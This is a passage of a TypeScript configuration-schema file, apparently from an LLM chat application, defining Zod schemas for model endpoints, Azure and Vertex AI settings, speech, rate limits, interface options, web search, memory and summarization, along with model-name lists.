'gpt-3.5-turbo-0125',\n 'gpt-4-turbo',\n 'gpt-4-0125',\n 'gpt-4-1106',\n];\n\nexport const excludedKeys = new Set([\n 'conversationId',\n 'title',\n 'iconURL',\n 'greeting',\n 'endpoint',\n 'endpointType',\n 'createdAt',\n 'updatedAt',\n 'expiredAt',\n 'messages',\n 'isArchived',\n 'tags',\n 'user',\n '__v',\n '_id',\n 'tools',\n 'model',\n 'files',\n 'spec',\n 'disableParams',\n]);\n\nexport enum SettingsViews {\n default = 'default',\n advanced = 'advanced',\n}\n\nexport const fileSourceSchema = z.nativeEnum(FileSources);\n\nexport const fileStrategiesSchema = z\n .object({\n default: fileSourceSchema.optional(),\n avatar: fileSourceSchema.optional(),\n image: fileSourceSchema.optional(),\n document: fileSourceSchema.optional(),\n })\n .optional();\n\n// Helper type to extract the shape of the Zod object schema\ntype SchemaShape<T> = T extends z.ZodObject<infer U> ? U : never;\n\n// Helper type to determine the default value or undefined based on whether the field has a default\ntype DefaultValue<T> =\n T extends z.ZodDefault<z.ZodTypeAny> ? ReturnType<T['_def']['defaultValue']> : undefined;\n\n// Extract default values or undefined from the schema shape\ntype ExtractDefaults<T> = {\n [P in keyof T]: DefaultValue<T[P]>;\n};\n\nexport type SchemaDefaults<T> = ExtractDefaults<SchemaShape<T>>;\n\nexport type TConfigDefaults = SchemaDefaults<typeof configSchema>;\n\nexport function getSchemaDefaults<Schema extends z.AnyZodObject>(\n schema: Schema,\n): ExtractDefaults<SchemaShape<Schema>> {\n const shape = schema.shape;\n const entries = Object.entries(shape).map(([key, value]) => {\n if (value instanceof z.ZodDefault) {\n // Extract default value if it exists\n return [key, value._def.defaultValue()];\n }\n return [key, undefined];\n });\n\n // Create the object with the right types\n return Object.fromEntries(entries) as ExtractDefaults<SchemaShape<Schema>>;\n}\n\nexport const modelConfigSchema = z\n .object({\n deploymentName: z.string().optional(),\n version: z.string().optional(),\n assistants: z.boolean().optional(),\n })\n .or(z.boolean());\n\nexport type TAzureModelConfig = z.infer<typeof modelConfigSchema>;\n\nexport const azureBaseSchema = z.object({\n apiKey: z.string(),\n serverless: z.boolean().optional(),\n instanceName: z.string().optional(),\n deploymentName: z.string().optional(),\n assistants: z.boolean().optional(),\n addParams: z.record(z.any()).optional(),\n dropParams: z.array(z.string()).optional(),\n version: z.string().optional(),\n baseURL: z.string().optional(),\n additionalHeaders: z.record(z.any()).optional(),\n});\n\nexport type TAzureBaseSchema = z.infer<typeof azureBaseSchema>;\n\nexport const azureGroupSchema = z\n .object({\n group: z.string(),\n models: z.record(z.string(), modelConfigSchema),\n })\n .required()\n .and(azureBaseSchema);\n\nexport const azureGroupConfigsSchema = z.array(azureGroupSchema).min(1);\nexport type TAzureGroup = z.infer<typeof azureGroupSchema>;\nexport type TAzureGroups = z.infer<typeof azureGroupConfigsSchema>;\nexport type TAzureModelMapSchema = {\n // deploymentName?: string;\n // version?: string;\n group: string;\n};\n\nexport type TAzureModelGroupMap = Record<string, TAzureModelMapSchema | undefined>;\nexport type TAzureGroupMap = Record<\n string,\n (TAzureBaseSchema & { models: Record<string, TAzureModelConfig | undefined> }) | undefined\n>;\n\nexport type TValidatedAzureConfig = {\n modelNames: string[];\n groupMap: TAzureGroupMap;\n assistantModels?: string[];\n assistantGroups?: string[];\n modelGroupMap: TAzureModelGroupMap;\n};\n\nexport type TAzureConfigValidationResult = TValidatedAzureConfig & {\n isValid: boolean;\n errors: (ZodError | string)[];\n};\n\nexport enum Capabilities {\n code_interpreter = 'code_interpreter',\n image_vision = 'image_vision',\n retrieval = 'retrieval',\n actions = 'actions',\n tools = 'tools',\n}\n\nexport enum AgentCapabilities {\n hide_sequential_outputs = 'hide_sequential_outputs',\n programmatic_tools = 'programmatic_tools',\n end_after_tools = 'end_after_tools',\n deferred_tools = 'deferred_tools',\n execute_code = 'execute_code',\n file_search = 'file_search',\n web_search = 'web_search',\n artifacts = 'artifacts',\n actions = 'actions',\n context = 'context',\n tools = 'tools',\n chain = 'chain',\n ocr = 'ocr',\n}\n\nexport const defaultAssistantsVersion = {\n [EModelEndpoint.assistants]: 2,\n [EModelEndpoint.azureAssistants]: 1,\n};\n\nexport const baseEndpointSchema = z.object({\n streamRate: z.number().optional(),\n baseURL: z.string().optional(),\n titlePrompt: z.string().optional(),\n titleModel: z.string().optional(),\n titleConvo: z.boolean().optional(),\n titleMethod: z\n .union([z.literal('completion'), z.literal('functions'), z.literal('structured')])\n .optional(),\n titleEndpoint: z.string().optional(),\n titlePromptTemplate: z.string().optional(),\n /** Maximum characters allowed in a single tool result before truncation. */\n maxToolResultChars: z.number().positive().optional(),\n});\n\nexport type TBaseEndpoint = z.infer<typeof baseEndpointSchema>;\n\nexport const bedrockEndpointSchema = baseEndpointSchema.merge(\n z.object({\n availableRegions: z.array(z.string()).optional(),\n models: z.array(z.string()).optional(),\n inferenceProfiles: z.record(z.string(), z.string()).optional(),\n }),\n);\n\nconst modelItemSchema = z.union([\n z.string(),\n z.object({\n name: z.string(),\n description: z.string().optional(),\n }),\n]);\n\nexport const assistantEndpointSchema = baseEndpointSchema.merge(\n z.object({\n /* assistants specific */\n disableBuilder: z.boolean().optional(),\n pollIntervalMs: z.number().optional(),\n timeoutMs: z.number().optional(),\n version: z.union([z.string(), z.number()]).default(2),\n supportedIds: z.array(z.string()).min(1).optional(),\n excludedIds: z.array(z.string()).min(1).optional(),\n privateAssistants: z.boolean().optional(),\n retrievalModels: z.array(z.string()).min(1).optional().default(defaultRetrievalModels),\n capabilities: z\n .array(z.nativeEnum(Capabilities))\n .optional()\n .default([\n Capabilities.code_interpreter,\n Capabilities.image_vision,\n Capabilities.retrieval,\n Capabilities.actions,\n Capabilities.tools,\n ]),\n /* general */\n apiKey: z.string().optional(),\n models: z\n .object({\n default: z.array(modelItemSchema).min(1),\n fetch: z.boolean().optional(),\n userIdQuery: z.boolean().optional(),\n })\n .optional(),\n headers: z.record(z.any()).optional(),\n }),\n);\n\nexport type TAssistantEndpoint = z.infer<typeof assistantEndpointSchema>;\n\nexport const defaultAgentCapabilities = [\n // Commented as requires latest Code Interpreter API\n // AgentCapabilities.programmatic_tools,\n AgentCapabilities.deferred_tools,\n AgentCapabilities.execute_code,\n AgentCapabilities.file_search,\n AgentCapabilities.web_search,\n AgentCapabilities.artifacts,\n AgentCapabilities.actions,\n AgentCapabilities.context,\n AgentCapabilities.tools,\n AgentCapabilities.chain,\n AgentCapabilities.ocr,\n];\n\nexport const agentsEndpointSchema = baseEndpointSchema\n .merge(\n z.object({\n /* agents specific */\n recursionLimit: z.number().optional(),\n disableBuilder: z.boolean().optional().default(false),\n maxRecursionLimit: z.number().optional(),\n maxCitations: z.number().min(1).max(50).optional().default(30),\n maxCitationsPerFile: z.number().min(1).max(10).optional().default(7),\n minRelevanceScore: z.number().min(0.0).max(1.0).optional().default(0.45),\n allowedProviders: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),\n capabilities: z\n .array(z.nativeEnum(AgentCapabilities))\n .optional()\n .default(defaultAgentCapabilities),\n }),\n )\n .default({\n disableBuilder: false,\n capabilities: defaultAgentCapabilities,\n maxCitations: 30,\n maxCitationsPerFile: 7,\n minRelevanceScore: 0.45,\n });\n\nexport type TAgentsEndpoint = z.infer<typeof agentsEndpointSchema>;\n\nexport const endpointSchema = baseEndpointSchema.merge(\n z.object({\n name: z.string().refine((value) => !eModelEndpointSchema.safeParse(value).success, {\n message: `Value cannot be one of the default endpoint (EModelEndpoint) values: ${Object.values(\n EModelEndpoint,\n ).join(', ')}`,\n }),\n apiKey: z.string(),\n baseURL: z.string(),\n models: z.object({\n default: z.array(modelItemSchema).min(1),\n fetch: z.boolean().optional(),\n userIdQuery: z.boolean().optional(),\n }),\n summarize: z.boolean().optional(),\n summaryModel: z.string().optional(),\n iconURL: z.string().optional(),\n modelDisplayLabel: z.string().optional(),\n headers: z.record(z.any()).optional(),\n addParams: z.record(z.any()).optional(),\n dropParams: z.array(z.string()).optional(),\n customParams: z\n .object({\n defaultParamsEndpoint: z.string().default('custom'),\n paramDefinitions: z.array(z.record(z.any())).optional(),\n })\n .strict()\n .optional(),\n customOrder: z.number().optional(),\n directEndpoint: z.boolean().optional(),\n titleMessageRole: z.string().optional(),\n }),\n);\n\nexport type TEndpoint = z.infer<typeof endpointSchema>;\n\nexport const azureEndpointSchema = z\n .object({\n groups: azureGroupConfigsSchema,\n plugins: z.boolean().optional(),\n assistants: z.boolean().optional(),\n })\n .and(\n endpointSchema\n .pick({\n streamRate: true,\n titleConvo: true,\n titleMethod: true,\n titleModel: true,\n titlePrompt: true,\n titlePromptTemplate: true,\n summarize: true,\n summaryModel: true,\n customOrder: true,\n })\n .partial(),\n );\n\nexport type TAzureConfig = Omit<z.infer<typeof azureEndpointSchema>, 'groups'> &\n TAzureConfigValidationResult;\n\n/**\n * Vertex AI model configuration - similar to Azure model config\n * Allows specifying deployment name for each model\n */\nexport const vertexModelConfigSchema = z\n .object({\n /** The actual model ID/deployment name used by Vertex AI API */\n deploymentName: z.string().optional(),\n })\n .or(z.boolean());\n\nexport type TVertexModelConfig = z.infer<typeof vertexModelConfigSchema>;\n\n/**\n * Vertex AI configuration schema for Anthropic models served via Google Cloud Vertex AI.\n * Similar to Azure configuration, this allows running Anthropic models through Google Cloud.\n */\nexport const vertexAISchema = z.object({\n /** Enable Vertex AI mode for Anthropic (defaults to true when vertex config is present) */\n enabled: z.boolean().optional(),\n /** Google Cloud Project ID (optional - auto-detected from service key file if not provided) */\n projectId: z.string().optional(),\n /** Vertex AI region (e.g., 'us-east5', 'europe-west1') */\n region: z.string().default('us-east5'),\n /** Optional: Path to service account key file */\n serviceKeyFile: z.string().optional(),\n /** Optional: Default deployment name for all models (can be overridden per model) */\n deploymentName: z.string().optional(),\n /** Optional: Available models - can be string array or object with deploymentName mapping */\n models: z.union([z.array(z.string()), z.record(z.string(), vertexModelConfigSchema)]).optional(),\n});\n\nexport type TVertexAISchema = z.infer<typeof vertexAISchema>;\n\nexport type TVertexModelMap = Record<string, string>;\n\n/**\n * Validated Vertex AI configuration result\n */\nexport type TVertexAIConfig = TVertexAISchema & {\n isValid: boolean;\n errors: string[];\n modelNames?: string[];\n modelDeploymentMap?: TVertexModelMap;\n};\n\n/**\n * Anthropic endpoint schema with optional Vertex AI configuration.\n * Extends baseEndpointSchema with Vertex AI support.\n */\nexport const anthropicEndpointSchema = baseEndpointSchema.merge(\n z.object({\n /** Vertex AI configuration for running Anthropic models on Google Cloud */\n vertex: vertexAISchema.optional(),\n /** Optional: List of available models */\n models: z.array(z.string()).optional(),\n }),\n);\n\nexport type TAnthropicEndpoint = z.infer<typeof anthropicEndpointSchema>;\n\nconst ttsOpenaiSchema = z.object({\n url: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n});\n\nconst ttsAzureOpenAISchema = z.object({\n instanceName: z.string(),\n apiKey: z.string(),\n deploymentName: z.string(),\n apiVersion: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n});\n\nconst ttsElevenLabsSchema = z.object({\n url: z.string().optional(),\n websocketUrl: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n voice_settings: z\n .object({\n similarity_boost: z.number().optional(),\n stability: z.number().optional(),\n style: z.number().optional(),\n use_speaker_boost: z.boolean().optional(),\n })\n .optional(),\n pronunciation_dictionary_locators: z.array(z.string()).optional(),\n});\n\nconst ttsLocalaiSchema = z.object({\n url: z.string(),\n apiKey: z.string().optional(),\n voices: z.array(z.string()),\n backend: z.string(),\n});\n\nconst ttsSchema = z.object({\n openai: ttsOpenaiSchema.optional(),\n azureOpenAI: ttsAzureOpenAISchema.optional(),\n elevenlabs: ttsElevenLabsSchema.optional(),\n localai: ttsLocalaiSchema.optional(),\n});\n\nconst sttOpenaiSchema = z.object({\n url: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n});\n\nconst sttAzureOpenAISchema = z.object({\n instanceName: z.string(),\n apiKey: z.string(),\n deploymentName: z.string(),\n apiVersion: z.string(),\n});\n\nconst sttSchema = z.object({\n openai: sttOpenaiSchema.optional(),\n azureOpenAI: sttAzureOpenAISchema.optional(),\n});\n\nconst speechTab = z\n .object({\n conversationMode: z.boolean().optional(),\n advancedMode: z.boolean().optional(),\n speechToText: z\n .boolean()\n .optional()\n .or(\n z.object({\n engineSTT: z.string().optional(),\n languageSTT: z.string().optional(),\n autoTranscribeAudio: z.boolean().optional(),\n decibelValue: z.number().optional(),\n autoSendText: z.number().optional(),\n }),\n )\n .optional(),\n textToSpeech: z\n .boolean()\n .optional()\n .or(\n z.object({\n engineTTS: z.string().optional(),\n voice: z.string().optional(),\n languageTTS: z.string().optional(),\n automaticPlayback: z.boolean().optional(),\n playbackRate: z.number().optional(),\n cacheTTS: z.boolean().optional(),\n }),\n )\n .optional(),\n })\n .optional();\n\nexport enum RateLimitPrefix {\n FILE_UPLOAD = 'FILE_UPLOAD',\n IMPORT = 'IMPORT',\n TTS = 'TTS',\n STT = 'STT',\n}\n\nexport const rateLimitSchema = z.object({\n fileUploads: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n conversationsImport: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n tts: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n stt: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n});\n\nexport enum EImageOutputType {\n PNG = 'png',\n WEBP = 'webp',\n JPEG = 'jpeg',\n}\n\nconst termsOfServiceSchema = z.object({\n externalUrl: z.string().optional(),\n openNewTab: z.boolean().optional(),\n modalAcceptance: z.boolean().optional(),\n modalTitle: z.string().optional(),\n modalContent: z.string().or(z.array(z.string())).optional(),\n});\n\nexport type TTermsOfService = z.infer<typeof termsOfServiceSchema>;\n\n// Schema for localized string (either simple string or language-keyed object)\nconst localizedStringSchema = z.union([z.string(), z.record(z.string())]);\nexport type LocalizedString = z.infer<typeof localizedStringSchema>;\n\nconst mcpServersSchema = z\n .object({\n placeholder: z.string().optional(),\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n trustCheckbox: z\n .object({\n label: localizedStringSchema.optional(),\n subLabel: localizedStringSchema.optional(),\n })\n .optional(),\n })\n .optional();\n\nexport type TMcpServersConfig = z.infer<typeof mcpServersSchema>;\n\nexport const interfaceSchema = z\n .object({\n privacyPolicy: z\n .object({\n externalUrl: z.string().optional(),\n openNewTab: z.boolean().optional(),\n })\n .optional(),\n termsOfService: termsOfServiceSchema.optional(),\n customWelcome: z.string().optional(),\n mcpServers: mcpServersSchema.optional(),\n endpointsMenu: z.boolean().optional(),\n modelSelect: z.boolean().optional(),\n parameters: z.boolean().optional(),\n sidePanel: z.boolean().optional(),\n multiConvo: z.boolean().optional(),\n bookmarks: z.boolean().optional(),\n memories: z.boolean().optional(),\n presets: z.boolean().optional(),\n prompts: z\n .union([\n z.boolean(),\n z.object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n }),\n ])\n .optional(),\n agents: z\n .union([\n z.boolean(),\n z.object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n }),\n ])\n .optional(),\n temporaryChat: z.boolean().optional(),\n temporaryChatRetention: z.number().min(1).max(8760).optional(),\n runCode: z.boolean().optional(),\n webSearch: z.boolean().optional(),\n peoplePicker: z\n .object({\n users: z.boolean().optional(),\n groups: z.boolean().optional(),\n roles: z.boolean().optional(),\n })\n .optional(),\n marketplace: z\n .object({\n use: z.boolean().optional(),\n })\n .optional(),\n fileSearch: z.boolean().optional(),\n fileCitations: z.boolean().optional(),\n remoteAgents: z\n .object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n })\n .optional(),\n })\n .default({\n endpointsMenu: true,\n modelSelect: true,\n parameters: true,\n sidePanel: true,\n presets: true,\n multiConvo: true,\n bookmarks: true,\n memories: true,\n prompts: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n agents: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n temporaryChat: true,\n runCode: true,\n webSearch: true,\n peoplePicker: {\n users: true,\n groups: true,\n roles: true,\n },\n marketplace: {\n use: false,\n },\n mcpServers: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n fileSearch: true,\n fileCitations: true,\n remoteAgents: {\n use: false,\n create: false,\n share: false,\n public: false,\n },\n });\n\nexport type TInterfaceConfig = z.infer<typeof interfaceSchema>;\nexport type TBalanceConfig = z.infer<typeof balanceSchema>;\nexport type TTransactionsConfig = z.infer<typeof transactionsSchema>;\n\nexport const turnstileOptionsSchema = z\n .object({\n language: z.string().default('auto'),\n size: z.enum(['normal', 'compact', 'flexible', 'invisible']).default('normal'),\n })\n .default({\n language: 'auto',\n size: 'normal',\n });\n\nexport const turnstileSchema = z.object({\n siteKey: z.string(),\n options: turnstileOptionsSchema.optional(),\n});\n\nexport type TTurnstileConfig = z.infer<typeof turnstileSchema>;\n\nexport type TStartupConfig = {\n appTitle: string;\n socialLogins?: string[];\n interface?: TInterfaceConfig;\n turnstile?: TTurnstileConfig;\n balance?: TBalanceConfig;\n transactions?: TTransactionsConfig;\n discordLoginEnabled: boolean;\n facebookLoginEnabled: boolean;\n githubLoginEnabled: boolean;\n googleLoginEnabled: boolean;\n openidLoginEnabled: boolean;\n appleLoginEnabled: boolean;\n samlLoginEnabled: boolean;\n openidLabel: string;\n openidImageUrl: string;\n openidAutoRedirect: boolean;\n samlLabel: string;\n samlImageUrl: string;\n /** LDAP Auth Configuration */\n ldap?: {\n /** LDAP enabled */\n enabled: boolean;\n /** Whether LDAP uses username vs. email */\n username?: boolean;\n };\n serverDomain: string;\n emailLoginEnabled: boolean;\n registrationEnabled: boolean;\n socialLoginEnabled: boolean;\n passwordResetEnabled: boolean;\n emailEnabled: boolean;\n showBirthdayIcon: boolean;\n helpAndFaqURL: string;\n customFooter?: string;\n modelSpecs?: TSpecsConfig;\n modelDescriptions?: Record<string, Record<string, string>>;\n sharedLinksEnabled: boolean;\n publicSharedLinksEnabled: boolean;\n analyticsGtmId?: string;\n bundlerURL?: string;\n staticBundlerURL?: string;\n sharePointFilePickerEnabled?: boolean;\n sharePointBaseUrl?: string;\n sharePointPickerGraphScope?: string;\n sharePointPickerSharePointScope?: string;\n openidReuseTokens?: boolean;\n minPasswordLength?: number;\n webSearch?: {\n searchProvider?: SearchProviders;\n scraperProvider?: ScraperProviders;\n rerankerType?: RerankerTypes;\n };\n mcpServers?: Record<\n string,\n {\n customUserVars: Record<\n string,\n {\n title: string;\n description: string;\n }\n >;\n chatMenu?: boolean;\n isOAuth?: boolean;\n startup?: boolean;\n iconPath?: string;\n }\n >;\n mcpPlaceholder?: string;\n conversationImportMaxFileSize?: number;\n};\n\nexport enum OCRStrategy {\n MISTRAL_OCR = 'mistral_ocr',\n CUSTOM_OCR = 'custom_ocr',\n AZURE_MISTRAL_OCR = 'azure_mistral_ocr',\n VERTEXAI_MISTRAL_OCR = 'vertexai_mistral_ocr',\n DOCUMENT_PARSER = 'document_parser',\n}\n\nexport enum SearchCategories {\n PROVIDERS = 'providers',\n SCRAPERS = 'scrapers',\n RERANKERS = 'rerankers',\n}\n\nexport enum SearchProviders {\n SERPER = 'serper',\n SEARXNG = 'searxng',\n}\n\nexport enum ScraperProviders {\n FIRECRAWL = 'firecrawl',\n SERPER = 'serper',\n}\n\nexport enum RerankerTypes {\n JINA = 'jina',\n COHERE = 'cohere',\n}\n\nexport enum SafeSearchTypes {\n OFF = 0,\n MODERATE = 1,\n STRICT = 2,\n}\n\nexport const webSearchSchema = z.object({\n serperApiKey: z.string().optional().default('${SERPER_API_KEY}'),\n searxngInstanceUrl: z.string().optional().default('${SEARXNG_INSTANCE_URL}'),\n searxngApiKey: z.string().optional().default('${SEARXNG_API_KEY}'),\n firecrawlApiKey: z.string().optional().default('${FIRECRAWL_API_KEY}'),\n firecrawlApiUrl: z.string().optional().default('${FIRECRAWL_API_URL}'),\n firecrawlVersion: z.string().optional().default('${FIRECRAWL_VERSION}'),\n jinaApiKey: z.string().optional().default('${JINA_API_KEY}'),\n jinaApiUrl: z.string().optional().default('${JINA_API_URL}'),\n cohereApiKey: z.string().optional().default('${COHERE_API_KEY}'),\n searchProvider: z.nativeEnum(SearchProviders).optional(),\n scraperProvider: z.nativeEnum(ScraperProviders).optional(),\n rerankerType: z.nativeEnum(RerankerTypes).optional(),\n scraperTimeout: z.number().optional(),\n safeSearch: z.nativeEnum(SafeSearchTypes).default(SafeSearchTypes.MODERATE),\n firecrawlOptions: z\n .object({\n formats: z.array(z.string()).optional(),\n includeTags: z.array(z.string()).optional(),\n excludeTags: z.array(z.string()).optional(),\n headers: z.record(z.string()).optional(),\n waitFor: z.number().optional(),\n timeout: z.number().optional(),\n maxAge: z.number().optional(),\n mobile: z.boolean().optional(),\n skipTlsVerification: z.boolean().optional(),\n blockAds: z.boolean().optional(),\n removeBase64Images: z.boolean().optional(),\n parsePDF: z.boolean().optional(),\n storeInCache: z.boolean().optional(),\n zeroDataRetention: z.boolean().optional(),\n location: z\n .object({\n country: z.string().optional(),\n languages: z.array(z.string()).optional(),\n })\n .optional(),\n onlyMainContent: z.boolean().optional(),\n changeTrackingOptions: z\n .object({\n modes: z.array(z.string()).optional(),\n schema: z.record(z.unknown()).optional(),\n prompt: z.string().optional(),\n tag: z.string().nullable().optional(),\n })\n .optional(),\n })\n .optional(),\n});\n\nexport type TWebSearchConfig = DeepPartial<z.infer<typeof webSearchSchema>>;\n\nexport const ocrSchema = z.object({\n mistralModel: z.string().optional(),\n apiKey: z.string().optional().default('${OCR_API_KEY}'),\n baseURL: z.string().optional().default('${OCR_BASEURL}'),\n strategy: z.nativeEnum(OCRStrategy).default(OCRStrategy.MISTRAL_OCR),\n});\n\nexport const balanceSchema = z.object({\n enabled: z.boolean().optional().default(false),\n startBalance: z.number().optional().default(20000),\n autoRefillEnabled: z.boolean().optional().default(false),\n refillIntervalValue: z.number().optional().default(30),\n refillIntervalUnit: z\n .enum(['seconds', 'minutes', 'hours', 'days', 'weeks', 'months'])\n .optional()\n .default('days'),\n refillAmount: z.number().optional().default(10000),\n});\n\nexport const transactionsSchema = z.object({\n enabled: z.boolean().optional().default(true),\n});\n\nexport const memorySchema = z.object({\n disabled: z.boolean().optional(),\n validKeys: z.array(z.string()).optional(),\n tokenLimit: z.number().optional(),\n charLimit: z.number().optional().default(10000),\n personalize: z.boolean().default(true),\n messageWindowSize: z.number().optional().default(5),\n agent: z\n .union([\n z.object({\n id: z.string(),\n }),\n z.object({\n provider: z.string(),\n model: z.string(),\n instructions: z.string().optional(),\n model_parameters: z.record(z.any()).optional(),\n }),\n ])\n .optional(),\n});\n\nexport type TMemoryConfig = DeepPartial<z.infer<typeof memorySchema>>;\n\nexport const summarizationTriggerSchema = z.object({\n type: z.enum(['token_count']),\n value: z.number().positive(),\n});\n\nexport const contextPruningSchema = z.object({\n enabled: z.boolean().optional(),\n keepLastAssistants: z.number().min(0).max(10).optional(),\n softTrimRatio: z.number().min(0).max(1).optional(),\n hardClearRatio: z.number().min(0).max(1).optional(),\n minPrunableToolChars: z.number().min(0).optional(),\n});\n\nexport const summarizationConfigSchema = z.object({\n enabled: z.boolean().optional(),\n provider: z.string().optional(),\n model: z.string().optional(),\n parameters: z.record(z.union([z.string(), z.number(), z.boolean(), z.null()])).optional(),\n trigger: summarizationTriggerSchema.optional(),\n prompt: z.string().optional(),\n updatePrompt: z.string().optional(),\n reserveRatio: z.number().min(0).max(1).optional(),\n maxSummaryTokens: z.number().positive().optional(),\n contextPruning: contextPruningSchema.optional(),\n});\n\nexport type SummarizationConfig = z.infer<typeof summarizationConfigSchema>;\n\nconst customEndpointsSchema = z.array(endpointSchema.partial()).optional();\n\nexport const configSchema = z.object({\n version: z.string(),\n cache: z.boolean().default(true),\n ocr: ocrSchema.optional(),\n webSearch: webSearchSchema.optional(),\n memory: memorySchema.optional(),\n summarization: summarizationConfigSchema.optional(),\n secureImageLinks: z.boolean().optional(),\n imageOutputType: z.nativeEnum(EImageOutputType).default(EImageOutputType.PNG),\n includedTools: z.array(z.string()).optional(),\n filteredTools: z.array(z.string()).optional(),\n mcpServers: MCPServersSchema.optional(),\n mcpSettings: z\n .object({\n allowedDomains: z.array(z.string()).optional(),\n })\n .optional(),\n interface: interfaceSchema,\n turnstile: turnstileSchema.optional(),\n fileStrategy: fileSourceSchema.default(FileSources.local),\n fileStrategies: fileStrategiesSchema,\n actions: z\n .object({\n allowedDomains: z.array(z.string()).optional(),\n })\n .optional(),\n registration: z\n .object({\n socialLogins: z.array(z.string()).optional(),\n allowedDomains: z.array(z.string()).optional(),\n })\n .default({ socialLogins: defaultSocialLogins }),\n balance: balanceSchema.optional(),\n transactions: transactionsSchema.optional(),\n speech: z\n .object({\n tts: ttsSchema.optional(),\n stt: sttSchema.optional(),\n speechTab: speechTab.optional(),\n })\n .optional(),\n rateLimits: rateLimitSchema.optional(),\n fileConfig: fileConfigSchema.optional(),\n modelSpecs: specsConfigSchema.optional(),\n endpoints: z\n .object({\n all: baseEndpointSchema.optional(),\n [EModelEndpoint.openAI]: baseEndpointSchema.optional(),\n [EModelEndpoint.google]: baseEndpointSchema.optional(),\n [EModelEndpoint.anthropic]: anthropicEndpointSchema.optional(),\n [EModelEndpoint.azureOpenAI]: azureEndpointSchema.optional(),\n [EModelEndpoint.azureAssistants]: assistantEndpointSchema.optional(),\n [EModelEndpoint.assistants]: assistantEndpointSchema.optional(),\n [EModelEndpoint.agents]: agentsEndpointSchema.optional(),\n [EModelEndpoint.custom]: customEndpointsSchema.optional(),\n [EModelEndpoint.bedrock]: bedrockEndpointSchema.optional(),\n })\n .strict()\n .refine((data) => Object.keys(data).length > 0, {\n message: 'At least one `endpoints` field must be provided.',\n })\n .optional(),\n});\n\n/**\n * Recursively makes all properties of T optional, including nested objects.\n * Handles arrays, primitives, functions, and Date objects correctly.\n */\nexport type DeepPartial<T> = T extends (infer U)[]\n ? DeepPartial<U>[]\n : T extends ReadonlyArray<infer U>\n ? ReadonlyArray<DeepPartial<U>>\n : // eslint-disable-next-line @typescript-eslint/no-unsafe-function-type\n T extends Function\n ? T\n : T extends Date\n ? T\n : T extends object\n ? {\n [P in keyof T]?: DeepPartial<T[P]>;\n }\n : T;\n\nexport const getConfigDefaults = () => getSchemaDefaults(configSchema);\nexport type TCustomConfig = DeepPartial<z.infer<typeof configSchema>>;\nexport type TCustomEndpoints = z.infer<typeof customEndpointsSchema>;\n\nexport type TProviderSchema =\n | z.infer<typeof ttsOpenaiSchema>\n | z.infer<typeof ttsElevenLabsSchema>\n | z.infer<typeof ttsLocalaiSchema>\n | undefined;\n\nexport enum KnownEndpoints {\n anyscale = 'anyscale',\n apipie = 'apipie',\n cohere = 'cohere',\n fireworks = 'fireworks',\n deepseek = 'deepseek',\n moonshot = 'moonshot',\n groq = 'groq',\n helicone = 'helicone',\n huggingface = 'huggingface',\n mistral = 'mistral',\n mlx = 'mlx',\n ollama = 'ollama',\n openrouter = 'openrouter',\n perplexity = 'perplexity',\n shuttleai = 'shuttleai',\n 'together.ai' = 'together.ai',\n unify = 'unify',\n vercel = 'vercel',\n xai = 'xai',\n}\n\nexport enum FetchTokenConfig {\n openrouter = KnownEndpoints.openrouter,\n helicone = KnownEndpoints.helicone,\n}\n\nexport const defaultEndpoints: EModelEndpoint[] = [\n EModelEndpoint.openAI,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.agents,\n EModelEndpoint.google,\n EModelEndpoint.anthropic,\n EModelEndpoint.custom,\n EModelEndpoint.bedrock,\n];\n\nexport const alternateName = {\n [EModelEndpoint.openAI]: 'OpenAI',\n [EModelEndpoint.assistants]: 'Assistants',\n [EModelEndpoint.agents]: 'My Agents',\n [EModelEndpoint.azureAssistants]: 'Azure Assistants',\n [EModelEndpoint.azureOpenAI]: 'Azure OpenAI',\n [EModelEndpoint.google]: 'Google',\n [EModelEndpoint.anthropic]: 'Anthropic',\n [EModelEndpoint.custom]: 'Custom',\n [EModelEndpoint.bedrock]: 'AWS Bedrock',\n [KnownEndpoints.ollama]: 'Ollama',\n [KnownEndpoints.deepseek]: 'DeepSeek',\n [KnownEndpoints.moonshot]: 'Moonshot',\n [KnownEndpoints.xai]: 'xAI',\n [KnownEndpoints.vercel]: 'Vercel',\n [KnownEndpoints.helicone]: 'Helicone',\n};\n\nconst sharedOpenAIModels = [\n 'gpt-5.4',\n // TODO: gpt-5.4-thinking may have separate reasoning token pricing — verify before release\n 'gpt-5.4-thinking',\n 'gpt-5.4-pro',\n 'gpt-5.1',\n 'gpt-5.1-chat-latest',\n 'gpt-5.1-codex',\n 'gpt-5.1-codex-mini',\n 'gpt-5',\n 'gpt-5-mini',\n 'gpt-5-nano',\n 'gpt-5-chat-latest',\n 'gpt-4.1',\n 'gpt-4.1-mini',\n 'gpt-4.1-nano',\n 'gpt-4o-mini',\n 'gpt-4o',\n 'gpt-4.5-preview',\n 'gpt-4.5-preview-2025-02-27',\n 'gpt-3.5-turbo',\n 